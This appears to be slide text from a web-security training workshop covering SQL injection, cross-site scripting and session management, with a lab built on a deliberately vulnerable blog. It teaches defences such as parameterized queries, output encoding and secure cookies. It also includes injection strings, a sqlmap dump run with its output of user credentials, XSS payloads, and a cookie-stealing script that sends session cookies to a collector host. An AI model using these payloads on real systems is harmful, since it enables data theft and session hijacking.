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ABOUT DOCKER

Almost overnight, Docker has become the de facto 

standard that developers and system administrators 

use for packaging, deploying, and running distributed 

applications. It provides tools for simplifying 

DevOps by enabling developers to create templates 

called images that can be used to create lightweight 

virtual machines called containers, which include 

their applications and all of their applications’ 

dependencies. These lightweight virtual machines 

can be promoted through testing and production 

environments where sysadmins deploy and run them.

Docker makes it easier for organizations to automate 

infrastructure, isolate applications, maintain 

consistency, and improve resource utilizations.

Similar to the popular version control software Git, 

Docker has a social aspect, in that developers and 

sysadmins are able to share their images via  

Docker Hub.

Docker is an open-source solution that runs natively 

on Linux but also works on Windows and Mac using a 

lightweight Linux distribution and VirtualBox. Many 

tools have also grown up around Docker to make it 

easier to manage and orchestrate complex distributed 

applications.

DOCKER ARCHITECTURE

Docker utilizes a client-server architecture and a remote 

API to manage and create Docker containers built upon 

Linux containers. Docker containers are created from 

Docker images. The relationship between containers 

and images are analogous to the relationship between 

objects and classes in object-oriented programming.

Docker 
Images

A recipe or template for creating Docker 
containers. It includes the steps for installing and 
running the necessary software.

Docker 
Container

Like a tiny virtual machine that is created from 
the instructions found within the Docker image 
originated

Docker 
Client

Command-line utility or other tool that takes 
advantage of the Docker API (https://docs.docker.
com/reference/api/docker_remote_api) to 
communicate with a Docker daemon

Docker 
Host

A physical or virtual machine that is running a 
Docker daemon and contains cached images as 
well as runnable containers created from images
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but why are you here?







2013 Report says

less than half of developers use a 
security application process

http://www.cdmn.ca/wp-content/uploads/2013/09/TiC-Dev-July-2013.pdf



my goal is to 
change your 

behavior



Legend

simple sanity checks

recommendations

things to validate back at office

tools to add to your tool belt





WARNING: The tools & techniques we will be 
discussing today when applied can land you 
in jail. Before using them on a public website 

make sure you have expressed written 
permission to do so from the site owner.



Ethical hacking refers to the act of locating weaknesses and vulnerabilities of computer and 
information systems by duplicating the intent and actions of malicious hackers. Ethical hacking is 
also known as penetration testing, intrusion testing, or red teaming. An ethical hacker is a 
security professional who applies their hacking skills for defensive purposes on behalf of the 
owners of information systems. By conducting penetration tests, an ethical hacker looks to answer 
the following four basic questions: 

1. What information/locations/systems can an attacker gain access?
2. What can an attacker see on the target?
3. What can an attacker do with available information?
4. Does anyone at the target system notice the attempts?

An ethical hacker operates with the knowledge and permission of the organization for which 
they are trying to defend. In some cases, the organization will neglect to inform their information 
security team of the activities that will be carried out by an ethical hacker in an attempt to test the 
effectiveness of the information security team. This is referred to as a double-blind environment. In 
order to operate effectively and legally, an ethical hacker must be informed of the assets that 
should be protected, potential threat sources, and the extent to which the organization will support 
an ethical hacker's efforts.



use this knowledge for good not evil



hack yourself first



https://www.kali.org/
root/toor



https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

OWASP Zed Attack Proxy (ZAP)



OWASP CSRFTester



sqlmap



Wordy Ninja Blog



https://github.com/cjudd/wordyninjablog



$20 Amazon Gift Card

First person to identify and 
 exploit a 

security vulnerability in 
Wordy Ninja Blog 

I wasn’t aware of gets a

Vulnerable Free Software



https://hub.docker.com/r/javajudd/portero/



Setup Lab

1. Import hhjwa-2016.1-vbox-amd64.ova appliance into 
VirtualBox 

2. Start Wordy Ninja 
cd ~/workspaces/wordyninjablog 
git pull origin master 
./gradlew run 

3. Open Iceweasel browser and  
navigate to http://localhost:8080  
or from host http://localhost:8081 

4. Login as admin/admin1234 
5. Add Post

http://localhost:8080
http://localhost:8081


https://www.owasp.org









1. Injection

Injection occurs when untrusted data is sent to an interpreter 
as part of a command or query. The attacker’s hostile data can 
trick the interpreter into executing unintended commands or 
accessing data without proper authorization. 



http://arstechnica.com/security/2013/07/25/nasdaq-is-owned-five-men-charged-in-largest-financial-hack-ever/



http://krebsonsecurity.com/2015/10/talktalk-hackers-demanded-80k-in-bitcoin/



http://www.bbc.com/news/technology-34944140



1. Injection





http://www.site.com?name=Baaz

POST /HTTP/1.1 
Host: www.site.com:80 
Connection: keep-alive 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.8,pt;q=0.6 
Cookie: JSESSIONID=2521E30FB3A91941FF5ED1FE9ED111D6 
name=Baaz



request query

select * from employees where last_name = 'Baaz'http://www.site.com?name=Baaz

result query results

1. Injection

http://www.site.com?name=Baaz




jdbcTemplate.queryForList( 
   "select * from employees where last_name = '" + untrustedData + "'");



jdbcTemplate.queryForList( 
   "select * from employees where last_name = '" + untrustedData + "'");

"select * from employees where last_name = 'Baaz'"



malicious request malicious query

select * from employees where last_name = '' or '1' = '1'http://www.site.com?name=' or '1'='1'

data exfiltration query results

1. Injection



https://xkcd.com/327/



‘;





"select * from employees where last_name = '';'"







' or '1'='1



' or '1'='1
"select * from employees where last_name = '' or '1' = '1'"



sqlmap -u http://www.site.com/search --data=“name=Baaz” --dump-all



root@kali:~# sqlmap -u http://192.168.11.115:8080/injection/search --data="name=Baaz" --dump-
all 

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool 
    http://sqlmap.org 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is 
illegal. It is the end user's responsibility to obey all applicable local, state and federal 
laws. Developers assume no liability and are not responsible for any misuse or damage caused 
by this program 

[*] starting at 12:04:23 

[12:04:23] [INFO] resuming back-end DBMS 'mysql'  
[12:04:23] [INFO] testing connection to the target URL 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: POST 
Parameter: name 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: name=Baaz' AND 6387=6387 AND 'TUSr'='TUSr 

    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: name=Baaz' AND (SELECT 9504 FROM(SELECT COUNT(*),CONCAT(0x717a6b6471,(SELECT 
(CASE WHEN (9504=9504) THEN 1 ELSE 0 END)),0x7176646d71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hxTg'='hxTg 

    Type: UNION query 
    Title: MySQL UNION query (NULL) - 6 columns 
    Payload: name=Baaz' UNION ALL SELECT 
NULL,NULL,NULL,NULL,CONCAT(0x717a6b6471,0x4f6145586b4a6e436d71,0x7176646d71),NULL# 

    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: name=Baaz' AND SLEEP(5) AND 'WqGo'='WqGo 

injection attempts

WARNING!!!



[12:04:23] [INFO] testing connection to the target URL 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: POST 
Parameter: name 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: name=Baaz' AND 6387=6387 AND 'TUSr'='TUSr 

    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: name=Baaz' AND (SELECT 9504 FROM(SELECT COUNT(*),CONCAT(0x717a6b6471,(SELECT 
(CASE WHEN (9504=9504) THEN 1 ELSE 0 END)),0x7176646d71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hxTg'='hxTg 

    Type: UNION query 
    Title: MySQL UNION query (NULL) - 6 columns 
    Payload: name=Baaz' UNION ALL SELECT 
NULL,NULL,NULL,NULL,CONCAT(0x717a6b6471,0x4f6145586b4a6e436d71,0x7176646d71),NULL# 

    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: name=Baaz' AND SLEEP(5) AND 'WqGo'='WqGo 
--- 
[12:04:23] [INFO] the back-end DBMS is MySQL 
web application technology: JSP 
back-end DBMS: MySQL 5.0 
[12:04:23] [INFO] sqlmap will dump entries of all tables from all databases now 
[12:04:23] [INFO] fetching database names 
[12:04:23] [INFO] fetching tables for databases: 'employees, information_schema, mysql, 
performance_schema, sonar, star, test' 
[12:04:23] [INFO] fetching columns for table 'vendor' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'vendor' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: vendor 
[5 entries] 
+--------------------------------------+-------+---------------+---------------

identified technologies



[12:04:23] [INFO] testing connection to the target URL 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: POST 
Parameter: name 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: name=Baaz' AND 6387=6387 AND 'TUSr'='TUSr 

    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: name=Baaz' AND (SELECT 9504 FROM(SELECT COUNT(*),CONCAT(0x717a6b6471,(SELECT 
(CASE WHEN (9504=9504) THEN 1 ELSE 0 END)),0x7176646d71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hxTg'='hxTg 

    Type: UNION query 
    Title: MySQL UNION query (NULL) - 6 columns 
    Payload: name=Baaz' UNION ALL SELECT 
NULL,NULL,NULL,NULL,CONCAT(0x717a6b6471,0x4f6145586b4a6e436d71,0x7176646d71),NULL# 

    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: name=Baaz' AND SLEEP(5) AND 'WqGo'='WqGo 
--- 
[12:04:23] [INFO] the back-end DBMS is MySQL 
web application technology: JSP 
back-end DBMS: MySQL 5.0 
[12:04:23] [INFO] sqlmap will dump entries of all tables from all databases now 
[12:04:23] [INFO] fetching database names 
[12:04:23] [INFO] fetching tables for databases: 'employees, information_schema, mysql, 
performance_schema, sonar, star, test' 
[12:04:23] [INFO] fetching columns for table 'vendor' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'vendor' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: vendor 
[5 entries] 
+--------------------------------------+-------+---------------+---------------

identified databases



performance_schema, sonar, star, test' 
[12:04:23] [INFO] fetching columns for table 'vendor' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'vendor' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: vendor 
[5 entries] 
+--------------------------------------+-------+---------------+---------------
+------------------------------------------------+----------------------+----------
+-----------+-----------+-------------------+-----------+-----------+------------
+------------+------------+-------------+-------------+------------------------+-------------
+--------------+-------------------------+----------------+----------------
+------------------+----------------+-----------------+----------------------
+-----------------------+ 
| id                                   | zip   | city          | state         | comment                                        
| country              | billType | enteredBy | phoneType | specialty         | extension | 
emailType | dateEdited | billPeriod | statusType | addressType | phoneNumber | companyName            
| dateEntered | lastEditedBy | emailAddress            | addressLineTwo | minorityStatus | 
addressLineOne   | mailPreference | numberEmployees | primaryContactMedium | 
masterAgreementNumber | 
+--------------------------------------+-------+---------------+---------------
+------------------------------------------------+----------------------+----------
+-----------+-----------+-------------------+-----------+-----------+------------
+------------+------------+-------------+-------------+------------------------+-------------
+--------------+-------------------------+----------------+----------------
+------------------+----------------+-----------------+----------------------
+-----------------------+ 
| 0341fc97-9a40-488f-8193-da163618622c | NULL  | NULL          | NULL          | NULL                                           
| NULL                 | NULL     | NULL      | NULL      | NULL              | NULL      | 
NULL      | NULL       | NULL       | NULL       | NULL        | NULL        | NULL                   
| NULL        | NULL         | NULL                    | NULL           | NULL           | 
NULL             | NULL           | NULL            | NULL                 | NULL                  
| 
| 7ad32c39-fb81-41d7-8315-ace1e17626dd | 43221 | Columbus      | OH            | <blank>                                        
| USA                  | 1        | NULL      | 1         | Fossil Excavation | <blank>   | 1         
| 11/19/2012 | 1          | 1          | 1           | 6141234567  | Manly James (you wish) | 
NULL        | admin        | test@manifestcorp.com   | <blank>        | 1              | 123 
Roadway      | 1              | 4               | NULL                 | 12345678901234567890  

dumped table data



+-----------+-----------+-------------------+-----------+-----------+------------
+------------+------------+-------------+-------------+------------------------+-------------
+--------------+-------------------------+----------------+----------------
+------------------+----------------+-----------------+----------------------
+-----------------------+ 

[12:04:23] [INFO] table 'star.vendor' dumped to CSV file '/usr/share/sqlmap/output/
192.168.11.115/dump/star/vendor.csv' 
[12:04:23] [INFO] fetching columns for table 'users' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'users' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: users 
[4 entries] 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 
| uuid                                 | ip              | enabled | lockout       | username 
| attempts | password     | 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 
| 009212d2-d6c3-11e3-8330-00155d0b9600 | 0:0:0:0:0:0:0:1 | \x01    | 1421214433577 | admin    
| 2        | admin        | 
| 00933b73-d6c3-11e3-8330-00155d0b9600 | 192.168.12.133  | \x01    | 1419012937414 | guest    
| 3        | guest        | 
| 00941bdf-d6c3-11e3-8330-00155d0b9600 | 0:0:0:0:0:0:0:1 | \x01    | 0             | user     
| 1        | user         | 
| b2a7c77c-12fb-4e7e-a9ad-1ceea3957b31 | <blank>         | \x01    | 0             | testUser 
| 0        | testPassword | 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 

[12:04:23] [INFO] table 'star.users' dumped to CSV file '/usr/share/sqlmap/output/
192.168.11.115/dump/star/users.csv' 
[12:04:29] [INFO] fetching columns for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] fetching entries for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] analyzing table dump for possible password hashes 
Database: performance_schema 
Table: accounts 

provides a CSV version

username/passwords



| 00933b73-d6c3-11e3-8330-00155d0b9600 | 192.168.12.133  | \x01    | 1419012937414 | guest    
| 3        | guest        | 
| 00941bdf-d6c3-11e3-8330-00155d0b9600 | 0:0:0:0:0:0:0:1 | \x01    | 0             | user     
| 1        | user         | 
| b2a7c77c-12fb-4e7e-a9ad-1ceea3957b31 | <blank>         | \x01    | 0             | testUser 
| 0        | testPassword | 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 

[12:04:23] [INFO] table 'star.users' dumped to CSV file '/usr/share/sqlmap/output/
192.168.11.115/dump/star/users.csv' 
[12:04:29] [INFO] fetching columns for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] fetching entries for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] analyzing table dump for possible password hashes 
Database: performance_schema 
Table: accounts 
[6 entries] 
+-----------+------------+-------------------+---------------------+ 
| HOST      | USER       | TOTAL_CONNECTIONS | CURRENT_CONNECTIONS | 
+-----------+------------+-------------------+---------------------+ 
| localhost | cjudd      | 1                 | 0                   | 
| localhost | root       | 82                | 10                  | 
| NULL      | NULL       | 23                | 18                  | 
+-----------+------------+-------------------+---------------------+ 

[12:04:30] [INFO] table 'performance_schema.accounts' dumped to CSV file '/usr/share/sqlmap/
output/192.168.11.115/dump/performance_schema/accounts.csv' 

[12:04:33] [WARNING] large output detected. This might take a while 
[12:04:33] [INFO] analyzing table dump for possible password hashes 
[12:04:35] [INFO] recognized possible password hashes in column 'DIGEST' 
do you want to store hashes to a temporary file for eventual further processing with other 
tools [y/N]  
[12:05:33] [WARNING] it appears that the target has a maximum connections constraint 
[12:05:33] [ERROR] user quit 

[*] shutting down at 12:05:33

system tables



Havij



Parameterized Queries 
Encode



Parameterized Queries

jdbcTemplate.queryForList( 
"select * from employees where last_name = ?", untrustedData);



StringBuffer sql = new StringBuffer("select * from employees");  
 
if(unstrusted != null) { 
    sql.append("where last_name = '" + untrusted + "'");  
}  
 
List<Map<String, Object>> results = jdbcTemplate.queryForList(sql.toString());



OWASP Enterprise Security API

https://github.com/ESAPI/esapi-java-legacy
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

Custom Enterprise Web Application 

Enterprise Security API 
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Existing Enterprise Security Services/Libraries 



OWASP Enterprise Security API

• Encoding library 
• SQL 
• HTML 
• JavaScript 
• CSS 
• URL 
• LDAP 
• OS 
• XML 
• XPath 

• Encoding tag library



Encode

String lastName = ESAPI.encoder().encodeForSQL(new MySQLCodec(MySQLCodec.Mode.STANDARD), untrusted);  
 
StringBuffer sql = new StringBuffer("select * from employees");  
 
if(lastName != null) { 
    sql.append("where last_name = '" + lastName + "'");  
}  
 
List<Map<String, Object>> results = jdbcTemplate.queryForList(sql.toString());



Encode

String lastName = ESAPI.encoder().encodeForSQL(new MySQLCodec(MySQLCodec.Mode.STANDARD), untrusted);  
 
StringBuffer sql = new StringBuffer("select * from employees");  
 
if(lastName != null) { 
    sql.append("where last_name = '" + lastName + "'");  
}  
 
List<Map<String, Object>> results = jdbcTemplate.queryForList(sql.toString());

';
"select * from employees where last_name = '\'\;'”



SQL 
OQL (Hibernates’ HSQL, JPA’s JPQL) 
Search (elastic search or solr) 
OS 
LDAP 





Injection Lab

1. Locate SQL injection vulnerability 
2. Exploit SQL injection vulnerability with sqlmap 
3. Determine the users and their passwords 
4. Patch SQL injection vulnerability 

• parameterized query 
• encoding



3. Cross-Site Scripting (XSS)

XSS flaws occur when an application takes untrusted data and 
sends it to a web browser without proper validation and/or 
escaping. XSS allows attackers to execute scripts in a victim’s 
browser which can hijack user sessions, deface websites, or 
redirect the user to malicious sites.

reflected 
stored



reflected XSS - attack is in the request itself (frequently the 
URL) and the vulnerability is injected into the page verbatim.

http://www.site.net?message=Invalid Name must have at least 3 chars

Invalid Name must have at least 3 chars



reflected XSS - attack is in the request itself (frequently the 
URL) and the vulnerability is injected into the page verbatim.

http://www.site.net?message=%3Cscript%3Edocument.write(%27HACKED%27)%3C%2Fscript%3E
http://www.site.net?message=<script>document.write('HACKED')</script>

HACKED





http://javajudd.net/vulnerability?message=%3Cscript
%3Edocument.write(%27hacked%27)%3C/script%3E





http://oldmacdon=ald.had-a.phish.farm/
cmVjaXBpZW50X2lkPTI3MjgzOTE2MCZjYW1wYWlnbl9ydW5faWQ9Mz=A3NTc1JmFjdGlvbj1jbGljayZ1cmw
9aHR0cDovL2F1ZGl0Lmtub3diZTQuY29tL2tiNC5odG1s

http://oldmacdon=






protect against reflected XSS 



stored XSS - attacker stores the attack in a data store 
(database, file, etc) and is triggered by a user visiting the 

page.

<img style="visibility:hidden" src="http://www.cool.net/customer/delete?id=16" /> 
 
<a onmouseover="alert('hacked')" href="#">here</a>



Which format do you prefer to use?

JSP Expression - <%= request.getParameter("message") %> <br/> 
JSP EL - ${param.message} <br/> 
JSTL out - <c:out value="${param.message}"/> <br/>



JSP Expression - <%= request.getParameter("message") %> <br/> 
JSP EL - ${param.message} <br/> 
JSTL out - <c:out value="${param.message}"/> <br/>

Which format do you prefer to use?



Which format do you prefer to use?

JSP Expression - <%= request.getParameter("message") %> <br/> 
JSP EL - ${param.message} <br/>  
JSTL out - <c:out value="${param.message}"/> <br/>  
JSP EL using Escape Function - ${fn:escapeXml(param.message)}<br/>



Escape/Encode



OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
https://github.com/OWASP/owasp-java-encoder

• Encoding library 
• HTML 
• JavaScript 
• CSS 
• URI 
• XML 
• Java 

• Encoding tag library



OWASP Java Encoder Project

<%@page import="org.owasp.encoder.Encode" %> 
<%@taglib prefix="e"   
          uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %> 
 
OWASP encoder - <%= Encode.forHtml(request.getParameter("message")) %><br/> 
OWASP Encoder tag - <e:forHtml value="${param.message}" />



OWASP Java Encoder Project

<%@page import="org.owasp.encoder.Encode" %> 
<%@taglib prefix="e"   
          uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %> 
 
OWASP encoder - <%= Encode.forHtml(request.getParameter("message")) %><br/> 
OWASP Encoder tag - <e:forHtml value="${param.message}" />



<b>HACKED</b>
try submitting





Not Just HTML



Not Just HTML

Context is Important



<%@ page import="org.owasp.encoder.Encode" %> 
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 
<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %> 
<%@ taglib prefix="e"   
           uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %> 
<%@ taglib prefix="esapi" uri="/WEB-INF/tld/esapi.tld" %> 
 
<h1>Parameter - JavaScript</h1>  
 
JSP Expression: 
<script><%= request.getParameter("message") %></script><br/> 
 
JSP EL: 
<script>${param.message}</script><br/> 
 
JSTL out: 
<script><c:out value="${param.message}"/></script><br/>  
 
JSP EL using Escape Function: 
<script>${fn:escapeXml(param.message)}</script><br/>  
 
OWASP Encoder: 
<script><%= Encode.forJavaScriptBlock(request.getParameter("message")) %></script><br/> 
 
OWASP Encoder tag: 
<script><e:forJavaScript value="${param.message}"/></script><br/>  
 
ESAPI tag: 
<script><esapi:encodeForJavaScript>${param.message}</esapi:encodeForJavaScript>  
</script><br/> 



http://www.site.net?message=document.write('HACKED')



http://www.site.net?message=document.write('HACKED')



http://www.site.net?message=document.write('HACKED')
JSP Expression: 
<script>  
  document.write('HACKED')  
</script><br/> 

JSP EL: 
<script> 
  document.write('HACKED') 
</script><br/> 

JSTL out: 
<script> 
  document.write(&#039;HACKED&#039;) 
</script><br/> 

JSP EL using Escape Function: 
<script> 
  document.write(&#039;HACKED&#039;) 
</script><br/> 

OWASP Encoder: 
<script> 
  document.write(\'HACKED\') 
</script><br/> 

OWASP Encoder tag: 
<script> 
  document.write(\x27HACKED\x27) 
</script><br/> 

ESAPI tag: 
<script> 
  document.write\x28\x27HACKED\x27\x29 
</script><br/>



http://www.site.net?message=document.write(window.location.href)



http://www.site.net?message=document.write(window.location.href)



http://www.site.net?message=document.write(window.location.href)
JSP Expression: 
<script> 
  document.write(window.location.href) 
</script><br/> 

JSP EL: 
<script> 
  document.write(window.location.href) 
</script><br/> 

JSTL out: 
<script> 
  document.write(window.location.href) 
</script><br/> 

JSP EL using Escape Function: 
<script> 
  document.write(window.location.href) 
</script><br/> 

OWASP Encoder: 
<script> 
  document.write(window.location.href) 
</script><br/> 

OWASP Encoder tag: 
<script> 
  document.write(window.location.href) 
</script><br/> 

ESAPI tag: 
<script> 
  document.write\x28window.location.href\x29 
</script><br/>







Escape/Encode 
Sanitize 

whitelist for tags and attributes



https://github.com/owasp/java-html-sanitizer

OWASP Java HTML Sanitizer

PolicyFactory safeHtmlPolicy = Sanitizers.BLOCKS.and(Sanitizers.FORMATTING);  
String safeHtml = safeHtmlPolicy.sanitize(untrustedHtml);



http://jsoup.org/cookbook/cleaning-html/whitelist-sanitizer

jsoup Java HTML Sanitizer

String safeHtml = Jsoup.clean(untrustedHtml, Whitelist.basic());







<!doctype html>  
<head>  
  <meta charset="UTF-8">  
  <title>Angular ngSanitize</title>  
 
  <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.min.js"></script>  
 
  <script>  
    angular.module('sanitizeExample', ['ngSanitize']) 
            .controller('EchoController', ['$scope', '$sce', function($scope, $sce) { 
              $scope.mydata =  
                      '<p style="color:blue">an html\n' +  
                      '<em onmouseover="this.textContent=\'HACKED\'">click here</em>\n' +  
                      'snippet</p>';  
           }]); 
  </script>  
 
</head>  
<body ng-app="sanitizeExample">  
<div ng-controller="EchoController">  
  Input Field: <textarea ng-model="mydata" cols="60" rows="3"></textarea>  
 
  <h2>Bind (default)</h2>  
  <div ng-bind="mydata"></div>  
 
</div>  
</body>  
</html>



<script src="angular-sanitize.js">



<!doctype html>  
<head>  
  <meta charset="UTF-8">  
  <title>Angular ngSanitize</title>  
 
  <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.min.js"></script>  
  <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular-sanitize.js"></script>  
 
  <script>  
    angular.module('sanitizeExample', ['ngSanitize']) 
            .controller('EchoController', ['$scope', '$sce', function($scope, $sce) { 
              $scope.mydata =  
                      '<p style="color:blue">an html\n' +  
                      '<em onmouseover="this.textContent=\'HACKED\'">click here</em>\n' +  
                      'snippet</p>';  
              $scope.trustUntrustedData = function() { 
                return $sce.trustAsHtml($scope.mydata); 
              }; 
            }]); 
  </script>  
 
</head>  
<body ng-app="sanitizeExample">  
<div ng-controller="EchoController">  
  Input Field: <textarea ng-model="mydata" cols="60" rows="3"></textarea>  
 
  <h2>Bind (default)</h2>  
  <div ng-bind="mydata"></div>  
 
  <h2>Bind HTML (ngSaniize)</h2>  
  <div ng-bind-html="mydata"></div>  
 
  <h2>Bind HTML Trust (ngSanitize)</h2>  
  <div ng-bind-html="trustUntrustedData()"></div>  
 
</div>  
</body>  
</html>



<!doctype html>  
<head>  
  <meta charset="UTF-8">  
  <title>Angular ngSanitize</title>  
 
  <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.min.js"></script>  
  <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular-sanitize.js"></script>  
 
  <script>  
    angular.module('sanitizeExample', ['ngSanitize']) 
            .controller('EchoController', ['$scope', '$sce', function($scope, $sce) { 
              $scope.mydata =  
                      '<p style="color:blue">an html\n' +  
                      '<em onmouseover="this.textContent=\'HACKED\'">click here</em>\n' +  
                      'snippet</p>';  
              $scope.trustUntrustedData = function() { 
                return $sce.trustAsHtml($scope.mydata); 
              }; 
            }]); 
  </script>  
 
</head>  
<body ng-app="sanitizeExample">  
<div ng-controller="EchoController">  
  Input Field: <textarea ng-model="mydata" cols="60" rows="3"></textarea>  
 
  <h2>Bind (default)</h2>  
  <div ng-bind="mydata"></div>  
 
  <h2>Bind HTML (ngSaniize)</h2>  
  <div ng-bind-html="mydata"></div>  
 
  <h2>Bind HTML Trust (ngSanitize)</h2>  
  <div ng-bind-html="trustUntrustedData()"></div>  
 
</div>  
</body>  
</html>



https://twitter.com/SimonZerafa/status/566354368954634240



know your tools and 
language



XSS Lab

1. Locate stored XSS vulnerability 
2. Exploit stored XSS vulnerability 
3. Patch stored XSS vulnerability 

• escape 
• sanitize



2. Broken Authentication and Session Management

Application functions related to authentication and session 
management are often not implemented correctly, allowing 
attackers to compromise passwords, keys, or session tokens, 
or to exploit other implementation flaws to assume other users’ 
identities.



NOT USING HTTPS/SSL/TLS



Encryption 
Trust



Client



http



http

GET /en/ HTTP/1.1 
Host: java.com 
Connection: keep-alive 
Cache-Control: max-age=0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 
Accept-Encoding: gzip, deflate, sdch 
Accept-Language: en-US,en;q=0.8,pt;q=0.6 
Cookie: s_cc=true; s_nr=1462828704344; gpName=javac%3AHomepage; gpChannel=javac%3AHome; gpServer=java.com; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK 
Server: Oracle-Application-Server-11g 
Last-Modified: Thu, 31 Mar 2016 22:48:36 GMT 
device_type: Any 
host_service: FutureTenseContentServer:11.1.1.8.0 
X-Powered-By: Servlet/2.5 JSP/2.1 
Content-Type: text/html; charset=UTF-8 
Content-Language: en 
X-Frame-Options: SAMEORIGIN 
Vary: Accept-Encoding 
Content-Encoding: gzip 
Date: Mon, 09 May 2016 21:28:34 GMT 
Content-Length: 2529 
Connection: keep-alive

<html lang="en-US" xml:lang="en-US"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="Language" content="en-US">

<title>java.com: Java + You</title>

<meta name="description" content="">
<meta name="keywords" content="java, downloads, software">

<meta name="date" content="2016-03-30">

</body></html>



http

GET /en/ HTTP/1.1 
Host: java.com 
Connection: keep-alive 
Cache-Control: max-age=0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 
Accept-Encoding: gzip, deflate, sdch 
Accept-Language: en-US,en;q=0.8,pt;q=0.6 
Cookie: s_cc=true; s_nr=1462828704344; gpName=javac%3AHomepage; gpChannel=javac%3AHome; gpServer=java.com; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK 
Server: Oracle-Application-Server-11g 
Last-Modified: Thu, 31 Mar 2016 22:48:36 GMT 
device_type: Any 
host_service: FutureTenseContentServer:11.1.1.8.0 
X-Powered-By: Servlet/2.5 JSP/2.1 
Content-Type: text/html; charset=UTF-8 
Content-Language: en 
X-Frame-Options: SAMEORIGIN 
Vary: Accept-Encoding 
Content-Encoding: gzip 
Date: Mon, 09 May 2016 21:28:34 GMT 
Content-Length: 2529 
Connection: keep-alive

<html lang="en-US" xml:lang="en-US"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="Language" content="en-US">

<title>java.com: Java + You</title>

<meta name="description" content="">
<meta name="keywords" content="java, downloads, software">

<meta name="date" content="2016-03-30">

</body></html>





https

[TCP Previous segment not captured] Encrypted Alert

Encrypted Application Data: 0000000000003104ae4bb11e17aa3e58972a3d016dbcc9...



https

[TCP Previous segment not captured] Encrypted Alert

Encrypted Application Data: 0000000000003104ae4bb11e17aa3e58972a3d016dbcc9...



ALWAYS use 
HTTPS/SSL/TLS



Encryption 
Trust





register

certificate



https



https



validate



https

responses







https://www.ssllabs.com/



https://www.ssllabs.com/



validate your ssl using https://www.ssllabs.com/

https://www.ssllabs.com/




<session-config> 
<cookie-config> 
<http-only>true</http-only> 

</cookie-config> 
</session-config>

<session-config> 
<cookie-config> 
<secure>true</secure> 

</cookie-config> 
</session-config>





encrypt to tomcat 
have load balancer rewrite cookie



check cookies are http only and secure









https://github.com/cjudd/portero



document.createElement("img").src= 
     "http://localhost:9000/hijack?url=" +  
        encodeURIComponent(window.location.href) +  
        "&cookies=" + encodeURIComponent(document.cookie)



WARNING: suspected XSS attack!!!



